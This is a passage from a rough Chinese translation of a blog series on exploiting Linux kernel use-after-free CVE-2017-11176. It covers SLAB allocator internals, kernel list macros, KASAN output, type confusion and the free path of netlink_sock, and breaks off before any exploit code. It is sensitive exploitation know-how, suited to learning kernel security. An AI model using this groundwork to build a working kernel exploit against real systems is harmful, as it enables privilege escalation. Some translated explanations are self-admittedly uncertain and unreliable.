这是第三部分的剩余部分的翻译,英语比较烂,很粗糙,建议结合原文一起看。
原文连接:https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html
在前面的文章中,我们对在用户空间触发bug进行了概念性的验证,删除了第一部分中用System Tap的修改。
这个文章从介绍内存子系统和SLAB分配器开始。如此庞大的一个主题,我们强烈建议读者用一些额外的资源来了解它。了解他们对利用所有的UAF漏洞或者说对溢出漏洞是绝对必要的。
我们会介绍基础的UAF原理,像利用他们所需的信息收集步骤。下一步,我们将会尝试在bug上应用它,然后分析可用的不同指令。
根据我们的再分配战略,我们打算使用把UAF转化成任意调用指令。最后,内核将会在一个受控的状态下惊慌(不会再有随机的crash)。
我们这儿用的技术是一个常用的在内核中利用UAF漏洞的技术(类型混淆)。此外,我们还选择了任意调用来利用UAF。因为硬编码,exp不会是任意情况都适用的,无法绕过KASLR(地址空见随机化的内核版本)。
注意同样的bug可以被其他不同的方式利用来获取其他操作(任意读/写),绕过kaslr/smap/smep(我们将会绕过smep在part4)。我们现在有概念验证代码,可以实际的创造一个exp。
作为补充,内核exp跑在一个非常混乱的环境中。它在前面的文章中不是问题,现在是了(再分配)。即,如果这儿有一个地方会让我们的exp失败(因为我们还没跑过),那么大多数时候不是意外。可靠的再分配是开放领域的主题,更多的复杂技巧在这个文章中不合适。
最后,以为内核数据结构布局现在很重要,调试/开发内核有很多不同,我们将会和system tap说再见,这意味着我们将会适用更传统的工具来调试内核。此外,你的结构布局将会和我们的不同,这儿提供的exp如果不修改不会在你的系统下有效果。
准备好去crash(很多次),这是一个快乐的开始:-)。
1.核心内容
2.use-after_free 101
3.分析UAF(cache、allocation、free)
4.分析UAF(悬空指针)
5.利用(重新分配)
6.利用(任意调用)
7.总结
第三部分的“核心内容”节尝试去介绍内存子系统(也被叫做“mm”)。这是一个很广阔的内容,书本仅仅只覆盖了内核的一小部分,推荐去阅读下面的一些资料。尽管如此,它将会提供linux内核的核心数据结构来管理内存,这样我们就能达成一致了(一语双关)。
在核心内容节的最后,我们会介绍 container_of()宏,然后提供一个linux双向循环链表的通用利用方法。一个基本的例子会被用来理解list_for_each_entry_safe() 宏(强制使用)。
ps:可能会用到的宏,我先写在这儿
offsetof宏:判断结构体中成员的偏移位置
container_of宏:根据成员的地址反过来来获取结构体地址。
list_for_each_entry_safe():相当于遍历整个双向循环链表,遍历时会存下下一个节点的数据结构,方便对当前项进行删除。
所有操作系统中最重要的作业之一就是内存管理。它必须要快,安全,最小化碎片。不幸的是,大多数这些目标都是互斥的(安全就意味着性能差)。因为效率原因,物理内存把相邻的内存分为固定长度块。这个块叫做一个页框,有一个固定的4096位大小。它可以用PAGE_SIZE 宏检索到。
因为内核必须控制内存。所以它保持着每一个物理页框的追踪像他们的信息。举个例子,他们必须知道特定的页面是不是可用的,这些信息被记录在页面数据结构struct page(也被叫做页面描述符)。
内核可以用alloc_pages()申请一个或者多个相邻的页面,用free_pages()来释放他们。分区页框分配器用来管理内核的这些请求,通常使用的伙伴系统算法。所以也被叫做伙伴伙伴分配器。
伙伴分配器提供的大小不是所有情况都适用的。举个例子,如果内核只想要128位内存空间,它可能申请了一页,但是3968位内存将会被浪费。着叫做内部碎片。为了克服这个情况,linux提供了一个更小的分配器:Slab分配器。为了让它简单起见,在内核里Slab分配器负责类似malloc()/free()等函数的功能。
内核提供了三种slab分配器(只使用一个):
NOTE:我们将会适用下面的命名规则:Slab是一个Slab分配器(它可以是SLAB,SLUB,SLOB)。SLAB(资本)是三个分配器中的一个。一个slab(小写)是一个Slab分配器适用的对象。
我们这里无法介绍所有的Slab分配器。我们的目标使用的SLAB 分配器有大量的完整文档说明可以查询。SLUB分配器似乎时最好理解的,没有用缓存着色,不追踪"full slab",没有内部和外部的slab管理等等。用下面的代码可以查看机器使用的Slab分配器。
grep “CONFIG_SL.B=” /boot/config-$(uname -r)
重新分配内存取决于Slab分配器,与SLUB相比,在SLAB上利用“use-after-free”更容易。换句话说,利用SLAB还有一个好处就是slab混淆(更多的对象被存在"general" kmemcaches)。
ps: kmemcache是memcache的linux内核移植版,具体的请看https://blog.csdn.net/hjxhjh/article/details/12000413
由于内核偏向于分配相同内存大小的对象,所有为了避免反复申请释放同一块内存,Slab分配器把相同大小的对象放在cache(一个已分配页框架的池)里面,cache用到的结构体时struct kmem_cache(缓存描述符)。
struct kmem_cache {
// ...
unsigned int num; // 每个slab中的对象数量
unsigned int gfporder; // 一个slab对象包含连续页是2的几次方
const char *name; // 这个cache的名字
int obj_size; // 管理的对象的大小
struct kmem_list3 **nodelists; // 维护三个链表empty/partial/full slabs
struct array_cache *array[NR_CPUS]; // 每个cpu中空闲对象组成的数组
};
一个slab基本上是一个或者多个页。一个简单的slab持有num数量的对象,每个对象大小都是obj_size,例如一个页大小的slab可以有四个1kb的对象。
slab的状况是被 struct slab(slab管理结构)描述的。
struct slab {
struct list_head list; // 用于将slab链入kmem_list3的链表
unsigned long colouroff; // 该slab的着色偏移
void *s_mem; // 指向slab中的第一个对象
unsigned int inuse; // 已经分配对象的数量
kmem_bufctl_t free; // 下一个未分配对象的下标
unsigned short nodeid; // 节点标识号
};
slab的数据结构对象(slab描述符)可以被存在slab内部或者另一个内存的位置。这样做的根本原因是减少外碎片。slab的数据结构对象具体别存在哪取决于缓存对象的大小,如果当前的对象大小小于512字节,那么会存在slab内部,否则会存在slab外部。
NOTE: internal/external stuff不需要被担心,我们在利用use-after-free。在另一方面,如果你要利用堆溢出,理解这个很有必要。
检索slab中对象的虚拟地址,可以直接通过s_mem(第一个对象的地址)加上偏移量获得。为了让他变得简单,所以第一个对象得地址就是s_mem,第二个就是s_mem + obj_size等等。其实上比这个更复杂,因为有"colouring" stuff (缓存着色相关的?不怎么理解),但是这个是题外话。
当一个slab被创建的时候,Slab分配器向伙伴分配器申请物理页,当然,当他被销毁的时候,会把物理页面还给伙伴分配器。内存会降低slab的创建和销毁以提高效率。
NOTE:为什么gfporder (struct kmem_cache)是同一个slab相邻页面的对数,这是因为伙伴系统不用byte来分配大小,而是以2的几次幂来分配的。gfporder 为0,表示单页,为1表示相邻的两页,为2表示相邻的四页。
对于每一个cache,会保持三个双链表结构为了slabs。
这些页面被存储与描述符中,nodelists(struct kmem_cache),每个slab属于三个列表中的一个,并且能在自身情况改变后,在三个列表中进行切换。
为了减少与伙伴分配器的交互,SLAB分配器会保留一个有少量free slabs和partial slabs的池。当Slab分配器申请一个对象的时候,会先检索自己的池中是否有空闲的slab,如果没有就会调用cache_grow()方法向伙伴分配器申请更多的物理页,当然,如果Slab分配器发现自己的池中有太多的空闲slab,也会销毁一些slab将我i里也还给伙伴分配器。
每次申请,Slab分配器需要扫描整个free slabs 或者 partial slabs。通过扫描整个列表来寻找空闲的空间是低效的。(这会要求一些锁,还需要去找偏移)
为了提高性能,Slab分配器保存一个队列指向空的对象。即struct array_cache,保存在缓存描述符中(struct kmem_cache)。
struct array_cache {
unsigned int avail; // 存放可用对象指针的数量也是当前空闲空闲数组的下标
unsigned int limit; // 最多可以存放的对象指针数量
unsigned int batchcount;
unsigned int touched;
spinlock_t lock;
void *entry[]; // 对象指针数组
};
ps:貌似最近的版本中entry[]变成了entry[0],entry[0]表示一个可变长度的数组。
array_cache 采用的是LIFO的数据结构,从漏洞利用者的角度来说,这是一个极好的方式,这也是为什么在SLAB和SLUB分配器下use-after-free是更容易利用。
最简单的申请内存:
static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags) // yes... four "_"
{
void *objp;
struct array_cache *ac;
ac = cpu_cache_get(cachep);
if (likely(ac->avail)) {
STATS_INC_ALLOCHIT(cachep);
ac->touched = 1;
objp = ac->entry[--ac->avail]; // <-----
}
// ... cut ...
return objp;
}
最简单的释放内存:
static inline void __cache_free(struct kmem_cache *cachep, void *objp)
{
struct array_cache *ac = cpu_cache_get(cachep);
// ... cut ...
if (likely(ac->avail < ac->limit)) {
STATS_INC_FREEHIT(cachep);
ac->entry[ac->avail++] = objp; // <-----
return;
}
}
简单来说,最好的情况下,申请和释放操作的复杂度只有O(1)。
WARNING:如果这个快捷的方式失败了,分配算法会回到慢的解决方案,即一个个遍历。
NOTE:每个cpu都有一个数组缓存,可以用cpu_cache_get()方法来获取,如此做可以减少锁的次数,从而提高性能。
NOTE:array cache中的每一个空闲的指针可能指向的是不容的slabs
为了减少外碎片,内核创建缓存以2的次方的大小,这样确保内碎片小于50%的大小,事实上,当内核去申请指定大小的尺寸时,他会申请到最适合的内存大小,即申请100字节会给你128字节的内存空间。
在SLAB中,通用缓存会有前缀"size-"(size-32,size-64)。在SLUB中,通用缓存会有前缀"kmalloc-"(kmalloc-32)。由于我们觉得SLUB的前缀更好,所以我们通常用他哪怕我们的目标是SLAB。
内核使用kmalloc()和kfree()方法去申请和释放通用缓存。
因为有一些对象会被频繁的申请和释放,内核创建了一些特殊的专用缓存。例如file文件对象是非常常用的对象,他有自己的专用缓存(filp)。这些专用缓存的内碎片会接近于0。
内核使用kmem_cache_alloc()和kmem_cache_free()方法去申请和释放一块专用的内存空间。
在最后kmalloc()和kmem_cache_alloc()会变成 __cache_alloc()函数,当然kfree()和kmem_cache_free()会变成__cache_free()函数。
NOTE:你可以看到全部的cache清单和一些有用的信息,在/proc/slabinfo中。
container_of()宏在linux内核的所有地方都被用到了。
#define container_of(ptr, type, member) ({ \
const typeof( ((type *)0)->member ) *__mptr = (ptr); \
(type *)( (char *)__mptr - offsetof(type,member) );})
//ptr 当前的地址
//type 所涉及的数据结构
//member 数据结构中的成员名
container_of()宏的意义在于利用结构成员的地址找回结构本身的地址。他使用两个宏:
也就是说,他利用他自己的当前段的地址减去他在该结构中的偏移地址。
linux内核中广泛的使用到了双向循环列表,理解他对我们达到任意命令执行很必要,接下来我们会用一个具体的例子来理解双向循环列表的使用。这节结束时,你会明白list_for_each_entry_safe()宏的作用。
linux用以下结构处理双向循环列表:
struct list_head {
struct list_head *next, *prev;
};
这个结构有两个作用:
INIT_LIST_HEAD()函数被用来创建双向循环列表,并将其next和prev指针都指向列表本身。
static inline void INIT_LIST_HEAD(struct list_head *list)
{
list->next = list;
list->prev = list;
}
我们先定义一个resource_owner结构体
struct resource_owner
{
char name[16];
struct list_head consumer_list;
};
void init_resource_owner(struct resource_owner *ro)
{
strncpy(ro->name, "MYRESOURCE", 16);
INIT_LIST_HEAD(&ro->consumer_list);
}
为了使用列表,每个列表成员的结构必须一致,即每个成员都必须有struct list_head字段。
struct resource_consumer
{
int id;
struct list_head list_elt; // <----- this is NOT a pointer
};
成员可以被添加和删除通过list_add()和list_del()方法。
int add_consumer(struct resource_owner *ro, int id)
{
struct resource_consumer *rc;
if ((rc = kmalloc(sizeof(*rc), GFP_KERNEL)) == NULL)
return -ENOMEM;
rc->id = id;
list_add(&rc->list_elt, &ro->consumer_list);
return 0;
}
接下来,我们想要释放一个成员,但是这个列表中只有一个元素,所以我们可以直接用container_of()宏来辅助释放当前元素。因为我们需要释放整一个resource_consumer对象,但是列表中只有list_elt的地址,所以需要把列表中的list_elt地址取出来,用container_of()宏来取到resource_consumer的地址,然后调用kfree()。
void release_consumer_by_entry(struct list_head *consumer_entry)
{
struct resource_consumer *rc;
// "consumer_entry" points to the "list_elt" field of a "struct resource_consumer"
rc = container_of(consumer_entry, struct resource_consumer, list_elt);
list_del(&rc->list_elt);
kfree(rc);
}
我们想要访问一个元素通过他的id,所以我们使用list_for_each()宏遍历列表。
#define list_for_each(pos, head) \
for (pos = (head)->next; pos != (head); pos = pos->next)
//如果pos指针没有指到头节点,就继续往下。
#define list_entry(ptr, type, member) \
container_of(ptr, type, member)
我们可以看到list_for_each()只提供了一个迭代器,所以我们仍然需要container_of()宏,但是一般用list_entry()宏,因为虽然功能一样,但是名字更好。
struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
{
struct resource_consumer *rc = NULL;
struct list_head *pos = NULL;
list_for_each(pos, &ro->consumer_list) {
rc = list_entry(pos, struct resource_consumer, list_elt);
if (rc->id == id)
return rc;
}
return NULL; // not found
}
不得不申明list_head变量,使用list_entry()/container_of()宏有点复杂,所以出现了list_for_each_entry()宏(使用了list_first_entry() 和 list_next_entry()宏)
#define list_first_entry(ptr, type, member) \
list_entry((ptr)->next, type, member)
//取出下一个指针的结构体本身的地址
#define list_next_entry(pos, member) \
list_entry((pos)->member.next, typeof(*(pos)), member)
//取出结构体中的取出当前元素所在元素链表中的下一个,然后返回下一个元素的结构的指针
#define list_for_each_entry(pos, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member); \
&pos->member != (head); \
pos = list_next_entry(pos, member))
//c=typeof(*pos) 可以把c指向pos的数据类型
我们重写之前的代码,不再申明struct list_head。
struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
{
struct resource_consumer *rc = NULL;
list_for_each_entry(rc, &ro->consumer_list, list_elt) {
if (rc->id == id)
return rc;
}
return NULL; // not found
}
接下来,如果我们要释放每一个成员,就会遇到两个问题:
我们release_consumer_by_entry()函数写的很烂,因为需要一个struct list_head指针。
list_for_each()宏是基于列表不变的基础上的。
我们无法再遍历列表时删除元素,这会让我们的use-after-free很难进行,所以我们使用 list_for_each_safe()宏来解决,他会预先读取下一个元素。
#define list_for_each_safe(pos, n, head) \
for (pos = (head)->next, n = pos->next; pos != (head); \
pos = n, n = pos->next)
这意味着我们需要两个struct list_head变量。
void release_all_consumers(struct resource_owner *ro)
{
struct list_head *pos, *next;
list_for_each_safe(pos, next, &ro->consumer_list) {
release_consumer_by_entry(pos);
}
}
最后一个是因为release_consumer_by_entry()写的很烂,所以我们我们用一个struct resource_consumer 指针作为参数。(不再使用container_of())
void release_consumer(struct resource_consumer *rc)
{
if (rc)
{
list_del(&rc->list_elt);
kfree(rc);
}
}
由于我们不用再使用struct list_head作为参数,所以利用 list_for_each_entry_safe()宏 重写release_all_consumers()函数
#define list_for_each_entry_safe(pos, n, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member), \
n = list_next_entry(pos, member); \
&pos->member != (head); \
pos = n, n = list_next_entry(n, member))
即:
void release_all_consumers(struct resource_owner *ro)
{
struct resource_consumer *rc, *next;
list_for_each_entry_safe(rc, next, &ro->consumer_list, list_elt) {
release_consumer(rc);
}
}
list_for_each_entry_safe()宏在很多方面都用到了,包括
我们去实现任意命令执行。我们甚至会在汇编中查看他(因为偏移量)。
这一小节将会讲解use-after-free的基本原理,包括一些使用的必要条件和最普遍的使用方法。
这个漏洞的名字解释了所有的事,一个简单的例子:
int *ptr = (int*) malloc(sizeof(int));
*ptr = 54;
free(ptr);
*ptr = 42; // <----- use-after-free
这个bug产生的原因主要事没有人知道在在调用free(ptr)后,指针ptr指向内存中的什么。她被叫做悬空指针,读和写的操作事一个未定义的行为,在最好的情况下,他只是一个空操作,在最坏的情况下,他会让一个应用程序(或者内核)直接crash。
将use-after-free用在内核中通常用的事相同的方案,在尝试去做之前,必须先回答以下几个问题:
为了回答这些问题,谷歌的开发人员开发了一个很好的linux补丁:KASAN (Kernel Address SANitizer)。一个典型的输出是:
==================================================================
BUG: KASAN: use-after-free in debug_spin_unlock // <--- the "where"
kernel/locking/spinlock_debug.c:97 [inline]
BUG: KASAN: use-after-free in do_raw_spin_unlock+0x2ea/0x320
kernel/locking/spinlock_debug.c:134
Read of size 4 at addr ffff88014158a564 by task kworker/1:1/5712 // <--- the "how"
CPU: 1 PID: 5712 Comm: kworker/1:1 Not tainted 4.11.0-rc3-next-20170324+ #1
Hardware name: Google Google Compute Engine/Google Compute Engine,
BIOS Google 01/01/2011
Workqueue: events_power_efficient process_srcu
Call Trace: // <--- call trace that reach it
__dump_stack lib/dump_stack.c:16 [inline]
dump_stack+0x2fb/0x40f lib/dump_stack.c:52
print_address_description+0x7f/0x260 mm/kasan/report.c:250
kasan_report_error mm/kasan/report.c:349 [inline]
kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:372
kasan_report mm/kasan/report.c:392 [inline]
__asan_report_load4_noabort+0x29/0x30 mm/kasan/report.c:392
debug_spin_unlock kernel/locking/spinlock_debug.c:97 [inline]
do_raw_spin_unlock+0x2ea/0x320 kernel/locking/spinlock_debug.c:134
__raw_spin_unlock_irq include/linux/spinlock_api_smp.h:167 [inline]
_raw_spin_unlock_irq+0x22/0x70 kernel/locking/spinlock.c:199
spin_unlock_irq include/linux/spinlock.h:349 [inline]
srcu_reschedule+0x1a1/0x260 kernel/rcu/srcu.c:582
process_srcu+0x63c/0x11c0 kernel/rcu/srcu.c:600
process_one_work+0xac0/0x1b00 kernel/workqueue.c:2097
worker_thread+0x1b4/0x1300 kernel/workqueue.c:2231
kthread+0x36c/0x440 kernel/kthread.c:231
ret_from_fork+0x31/0x40 arch/x86/entry/entry_64.S:430
Allocated by task 20961: // <--- where is it allocated
save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:515
set_track mm/kasan/kasan.c:527 [inline]
kasan_kmalloc+0xaa/0xd0 mm/kasan/kasan.c:619
kmem_cache_alloc_trace+0x10b/0x670 mm/slab.c:3635
kmalloc include/linux/slab.h:492 [inline]
kzalloc include/linux/slab.h:665 [inline]
kvm_arch_alloc_vm include/linux/kvm_host.h:773 [inline]
kvm_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:610 [inline]
kvm_dev_ioctl_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:3161 [inline]
kvm_dev_ioctl+0x1bf/0x1460 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3205
vfs_ioctl fs/ioctl.c:45 [inline]
do_vfs_ioctl+0x1bf/0x1780 fs/ioctl.c:685
SYSC_ioctl fs/ioctl.c:700 [inline]
SyS_ioctl+0x8f/0xc0 fs/ioctl.c:691
entry_SYSCALL_64_fastpath+0x1f/0xbe
Freed by task 20960: // <--- where it has been freed
save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:515
set_track mm/kasan/kasan.c:527 [inline]
kasan_slab_free+0x6e/0xc0 mm/kasan/kasan.c:592
__cache_free mm/slab.c:3511 [inline]
kfree+0xd3/0x250 mm/slab.c:3828
kvm_arch_free_vm include/linux/kvm_host.h:778 [inline]
kvm_destroy_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:732 [inline]
kvm_put_kvm+0x709/0x9a0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:747
kvm_vm_release+0x42/0x50 arch/x86/kvm/../../../virt/kvm/kvm_main.c:758
__fput+0x332/0x800 fs/file_table.c:209
____fput+0x15/0x20 fs/file_table.c:245
task_work_run+0x197/0x260 kernel/task_work.c:116
exit_task_work include/linux/task_work.h:21 [inline]
do_exit+0x1a53/0x27c0 kernel/exit.c:878
do_group_exit+0x149/0x420 kernel/exit.c:982
get_signal+0x7d8/0x1820 kernel/signal.c:2318
do_signal+0xd2/0x2190 arch/x86/kernel/signal.c:808
exit_to_usermode_loop+0x21c/0x2d0 arch/x86/entry/common.c:157
prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline]
syscall_return_slowpath+0x4d3/0x570 arch/x86/entry/common.c:263
entry_SYSCALL_64_fastpath+0xbc/0xbe
The buggy address belongs to the object at ffff880141581640
which belongs to the cache kmalloc-65536 of size 65536 // <---- the object's cache
The buggy address is located 36644 bytes inside of
65536-byte region [ffff880141581640, ffff880141591640)
The buggy address belongs to the page: // <---- even more info
page:ffffea000464b400 count:1 mapcount:0 mapping:ffff880141581640
index:0x0 compound_mapcount: 0
flags: 0x200000000008100(slab|head)
raw: 0200000000008100 ffff880141581640 0000000000000000 0000000100000001
raw: ffffea00064b1f20 ffffea000640fa20 ffff8801db800d00
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88014158a400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88014158a480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88014158a500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88014158a580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88014158a600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
NOTE:之前的错误报告是从syzkaller这个程序来的,另一个很好的工具。
不幸的是,你可能无法在你的环境下安装KASAN。据我们所知,KASAN要求最小的内核版本是4.x而且不支持所有架构的linux。既然这样,我们只能手动来做这个工作。
补充一下,KASAN只是展示use-after-free发生在哪。实际操作时,这儿会有更多的悬空指针(后面会讲到)。识别他们需要更多的代码审计。
这儿有很多种方法去利用一个use-after-free的漏洞。例如,有一种时使用分配器元数据(allocator meta-data,不怎么懂这个什么意思)。在内核中用这个方法会有一点困难,他也增加了你在利用完漏洞后修复内核的难度。修复将会在part 4讲解,这步不能跳过,不然内核会在你利用结束后crash。
类型混淆是一个内核利用use-after-free的常用方法。类型混淆通常出现在内核误解一个数据的类型时。他使用一个数据(通常是指针)他以为是一种类型,但是他真正指向的是另一个数据类型。因为他发生在C语言,类型检查时在编译时完成的。cpu实际上不关心地址,他只是取消引用固定偏移的地址。
用类型混淆利用UAF漏洞基本的步骤是:
如果你制作一个恰当的exp,那么只有第三步会真正意义上的失败。我们可以看看为什么。
WARNING:用类型混淆触发的UAF的目标对象必须是通用缓存(cache)。如果不是这样也有办法处理,但是有一点高级,这里不讲了。
在这一节中我们会回答信息收集那一节中的问题
分配器是什么,他怎么工作的?
在我们的目标中,分配器是SLAB分配器。正如上面核心概念中谈到的一样,我们可以从内核配置文件中收集信息。另一个方法在/proc/slabinfo中是检查通用cache的名字。他们都有“size-”或者“kmalloc-”的前缀?
我们可以更好了解他的数据结构,特别是array_cache
NOTE:如果你之前没有掌握你的分配器(特别是 kmalloc()/kfree()的编程规范),现在是个很好的学习时间。
这个下面是我自己补充的一部分函数说明:
kmalloc:
kmalloc:
void *kmalloc(size_t size, gfp_t flags);
第一个参数是要分配的块的大小,第二个参数是分配标志(flags),他提供了多种kmalloc的行为。
kmalloc() 申请的内存位于物理内存映射区域,而且在物理上也是连续的,它们与真实的物理地址只有一个固定的偏移,因为存在较简单的转换关系,所以对申请的内存大小有限制,不能超过128KB。
较常用的 flags(分配内存的方法):
GFP_ATOMIC —— 分配内存的过程是一个原子过程,分配内存的过程不会被(高优先级进程或中断)打断;
GFP_KERNEL —— 正常分配内存;
GFP_DMA —— 给 DMA 控制器分配内存,需要使用该标志(DMA要求分配虚拟地址和物理地址连续)
kfree:
kfree:
void kfree(const void *objp);
kzalloc():
kzalloc():
*kzalloc(size_t size, gfp_t flags){ return kmalloc(size, flags | __GFP_ZERO);}
kzalloc() 函数与 kmalloc() 非常相似,参数及返回值是一样的,可以说是前者是后者的一个变种,因为 kzalloc() 实际上只是额外附加了 __GFP_ZERO 标志。所以它除了申请内核内存外,还会对申请到的内存内容清零。
kzalloc() 对应的内存释放函数也是 kfree()。
vmalloc():
vmalloc():
void *vmalloc(unsigned long size);
vmalloc() 函数则会在虚拟内存空间给出一块连续的内存区,但这片连续的虚拟内存在物理内存中并不一定连续。由于 vmalloc() 没有保证申请到的是连续的物理内存,因此对申请的内存大小没有限制,如果需要申请较大的内存空间就需要用此函数了
对应的内存释放函数为:
void vfree(const void *addr);
注意:vmalloc() 和 vfree() 可以睡眠,因此不能从中断上下文调用。
这个在前两节已经被讨论的很清楚了,我们UAF的对象就是struct netlink_sock。他又很清晰的定义:
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
u32 pid;
u32 dst_pid;
u32 dst_group;
u32 flags;
u32 subscriptions;
u32 ngroups;
unsigned long *groups;
unsigned long state;
wait_queue_head_t wait;
struct netlink_callback *cb;
struct mutex *cb_mutex;
struct mutex cb_def_mutex;
void (*netlink_rcv)(struct sk_buff *skb);
struct module *module;
};
这个在我们的例子里面很明显。有时,可能需要花一会儿去计算出UAF的对象。特别是,当一个特定的对象有各种子对象的所有权(他掌握他们的生命周期)。UAF可能会依赖于其中的一个子对象(不是最重要的一个)。
在第一部分中,我们看到the netlink’s sock的计数器被置为1在进入entering mq_notify()的时候。参考计数器通过netlink_getsockbyfilp()来增加一,通过netlink_attachskb()来减少一,在另一时间又通过netlink_detachskb()来减少一。给我们以下的路径:
- mq_notify
- netlink_detachskb
- sock_put // <----- atomic_dec_and_test(&sk->sk_refcnt)和sk_free()
因为计数器清零了,所以他被sk_free()释放了:
void sk_free(struct sock *sk)
{
/*
* We subtract one from sk_wmem_alloc and can know if
* some packets are still in some tx queue.
* If not null, sock_wfree() will call __sk_free(sk) later
*/
if (atomic_dec_and_test(&sk->sk_wmem_alloc))
__sk_free(sk);
}
记住sk->sk_wmem_alloc是当前的发送缓存区。当整个netlink_sock初始化期间,这被设置为1。因为我们没有从目标套接字发送任何消息,在进入sk_free()时,他依然是1。在这里,他被叫做_sk_free():
// [net/core/sock.c]
static void __sk_free(struct sock *sk)
{
struct sk_filter *filter;
[0] if (sk->sk_destruct)
sk->sk_destruct(sk);
// ... cut ...
[1] sk_prot_free(sk->sk_prot_creator, sk);
}
注意这里面的sk_prot_creator是基于虚函数表proto_ops来实现的
在[0]中,__sk_free()给了sock调用“专门”析构函数的机会。在[1]中,他用struct proto数据类型的sk_prot_create()来调用sk_prot_free()(不懂这句话?谷歌是这么翻译的。。。),最后这个对象根据cache来释放(下一节)。
static void sk_prot_free(struct proto *prot, struct sock *sk)
{
struct kmem_cache *slab;
struct module *owner;
owner = prot->owner;
slab = prot->slab;
security_sk_free(sk);
if (slab != NULL)
kmem_cache_free(slab, sk); // <----- this one or...
else
kfree(sk); // <----- ...this one ?
module_put(owner);
}
这个函数主要是把sock所在的cache整个释放掉了。
这是最后的释放过程:
- <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>
- sock_put
- sk_free
- __sk_free
- sk_prot_free
- kmem_cache_free or kfree
NOTE:记住所有的sk和netlink_sock的地址别名。即释放struct sock指针将会释放整个netlink_sock对象。
我们需要分析他最后一个调用的函数。因此,我们需要知道他属于哪个cache。
记住linux是一个非常抽象的面向对象的操作系统。我们已经看到了多层次的抽象概念,也因此而很专业(查看核心概念部分就可得知)。
struct proto提供了另一个抽象的层次,我们有:
NOTE:我们下一节会回到netlink_family_ops
不像是socket_file_ops和netlink_ops都仅仅是VFT(虚函数表),struct proto是更复杂的。他当然维持一个VFT,但是他也提供了一些信息关于struct sock的生命周期。特别是一个特殊的sock对象是专门被分配的。
就我们的例子而言,最重要的两个字段是slab和obj_size:
// [include/net/sock.h]
struct proto {
struct kmem_cache *slab; // the "dedicated" cache (if any)
unsigned int obj_size; // the "specialized" sock object size
struct module *owner; // used for Linux module's refcounting
char name[32];
// ...
}
对于netlink_sock对象,struct proto是netlink_proto
static struct proto netlink_proto = {
.name = "NETLINK",
.owner = THIS_MODULE,
.obj_size = sizeof(struct netlink_sock),
};
这个obj_size不是最后的申请的大小,只是他的一部分(下一节会讲到)。
正如我们所看到的大量的字段是留空的(null)。这是不是表明netlink_proto没有一个专门的cache?我们无法准确的判定因为slab字段只有在协议注册的时候才定义。我们不会细讲协议注册的内容,但是我们需要了解一些。
在linux中,network模块要么是在开机的时候装载,要么是懒加载的(第一次有一个专门的soclet被使用)。两种情况下,init()函数都会被调用,在netlink的例子中,这个函数被叫做netlink_proto_init()。他至少被调用两次:
proto_register()表明这个协议是否使用一个专门的cache。如果是的,他创造一个专门的kmem_cache,不然他会使用一个通常意义的caches。这个决定alloc_slab的范围(第二点)。实现:
// [net/core/sock.c]
int proto_register(struct proto *prot, int alloc_slab)
{
if (alloc_slab) {
prot->slab = kmem_cache_create(prot->name, // <----- creates a kmem_cache named "prot->name"
sk_alloc_size(prot->obj_size), 0, // <----- uses the "prot->obj_size"
SLAB_HWCACHE_ALIGN | proto_slab_flags(prot),
NULL);
if (prot->slab == NULL) {
printk(KERN_CRIT "%s: Can't create sock SLAB cache!\n",
prot->name);
goto out;
}
// ... cut (allocates other things) ...
}
// ... cut (register in the proto_list) ...
return 0;
// ... cut (error handling) ...
}
这儿是唯一可以协议是否能有专门的cache的地方。因此,netlink_proto_init()在调用proto_register()时alloc_slab是0,netlink协议使用的是一个通用的cache。正如你所猜想的,问题中的通用cache将会决定proto的obj_size字段。我们会在下一节看到的。
到现在为止,我们知道在整一个协议注册的过程中,netlink家族注册了一个struct net_proto_family即是netlink_family_ops。这个结构式相当直接的(创造回调):
struct net_proto_family {
int family;
int (*create)(struct net *net, struct socket *sock,
int protocol, int kern);
struct module *owner;
};
static struct net_proto_family netlink_family_ops = {
.family = PF_NETLINK,
.create = netlink_create, // <-----
.owner = THIS_MODULE,
};
当netlink_create()被调用之后,一个struct socket就已经被申请了。他的目的是去分配struct netlink_sock,并且将他和socket链接起来和初始化 struct socket和struct netlink_sock字段。这也是他进行套接字类型(RAW原始套接字, DGRAM数据包式套接字)和netlink的协议标识符(NETLINK_USERSOCK, …)安全检查的地方。
static int netlink_create(struct net *net, struct socket *sock, int protocol,
int kern)
{
struct module *module = NULL;
struct mutex *cb_mutex;
struct netlink_sock *nlk;
int err = 0;
sock->state = SS_UNCONNECTED;
if (sock->type != SOCK_RAW && sock->type != SOCK_DGRAM)
return -ESOCKTNOSUPPORT;
if (protocol < 0 || protocol >= MAX_LINKS)
return -EPROTONOSUPPORT;
// ... cut (load the module if protocol is not registered yet - lazy loading) ...
err = __netlink_create(net, sock, cb_mutex, protocol, kern); // <-----
if (err < 0)
goto out_module;
// ... cut...
}
依次下去,__netlink_create()是struct netlink_sock创建的关键。
static int __netlink_create(struct net *net, struct socket *sock,
struct mutex *cb_mutex, int protocol, int kern)
{
struct sock *sk;
struct netlink_sock *nlk;
[0] sock->ops = &netlink_ops;
